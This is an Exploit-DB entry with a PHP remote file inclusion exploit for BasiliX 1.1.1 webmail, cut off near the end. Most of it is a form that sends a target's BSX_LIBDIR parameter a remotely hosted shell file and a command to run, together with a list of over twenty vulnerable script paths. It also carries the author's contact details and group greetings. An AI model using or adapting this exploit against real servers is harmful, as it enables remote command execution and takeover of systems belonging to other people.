Exploit-DB #2465
Description: BasiliX 1.1.1 - 'BSX_LIBDIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-01
Author: Kacper

Exploit:
<?php
/*
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- BasiliX <= 1.1.1 Remote File Include Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: BasiliX 1.1.1
- [Script site: http://sourceforge.net/projects/basilix/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/

$cmd = $_POST["cmd"];
$glowna = $_POST["glowna"];
$shell = $_POST["shell"];
$exp= "<title>BasiliX &lt;= 1.1.1 Remote File Include Exploit :: DEVIL TEAM :: The Best Polish Team ::</title>"
."<style type=\"text/css\">"
."body {background-color: #000000;}"
."body,td,th {color: #FFFFFF;}"
."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">"
."<div align=\"center\"><img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"></div>"
."<p align=\"center\">script url: (ex. http://www.site.com/[BasiliX_path]/files/abook.php3?BSX_LIBDIR=)<br>"
."<p align=\"center\">or<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-attach.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-menu.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-new.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-send.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-create.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-delete.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-empty.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-rename.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folders.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/login.php3err=hack&BSX_HTXDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/mbox-action.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/mbox-list.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-delete.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-forward.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-header.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-print.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-read.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-reply.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-replyall.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-search.php3?BSX_LIBDIR=<br>"
."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/settings.php3?BSX_LIBDIR=<br>"
."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">"
."<br>"
."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>"
."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">"
."<br>"
."cmd: (ex. ls -la)<br>"
."<input name=\"cmd\" type=\"text\" size=\"90\"".$cmd."\">"
."<br>"
."<input type=\"submit\" value=\"Exploit\" name=\"submit\">"
."</p>"
."<p align=\"center\">Find by: <a href=\"mailto:kacper1964@yahoo.pl\">Kacper</a> (a.k.a <a href=\"mailto:kacper1964@yahoo.pl\">Rahim</a>)<br>"
."<br>"
."DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam<br>"
."<br>"
."Contact: <a href=\"mailto:kacper1964@yahoo.pl\">kacper1964@yahoo.pl</a><br>"
."or</p>"
."<p align=\"center\"> <a href=\"http://www.rahim.webd.pl/\">http://www.rahim.webd.pl/</a></p>"
."<p align=\"center\" class=\"name\">&nbsp;</p>"
."<HR WIDTH=\"650\" ALIGN=\"center\">"
."<p align=\"center\"> Z Dedykacja dla osoby,<br>"
."bez ktorej nie mogl bym zyc...<br>"
."K.C:* J.M (a.k.a Magaja)</p>"
."<p align=\"center\">&nbsp;</p>"
."<p align=\"center\"> Special Greetz: DragonHeart ;-)<br>"
."Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi<br>"
."SkD, nukedclx, Ramzes<br>"
."<br>"
."Greetz for all users DEVIL TEAM IRC Channel !!<br>"
."!@ Przyjazni nie da sie zamienic na marne korzysci @!</p>"
."<HR WIDTH=\"650\" ALIGN=\"center\">"
."<p align=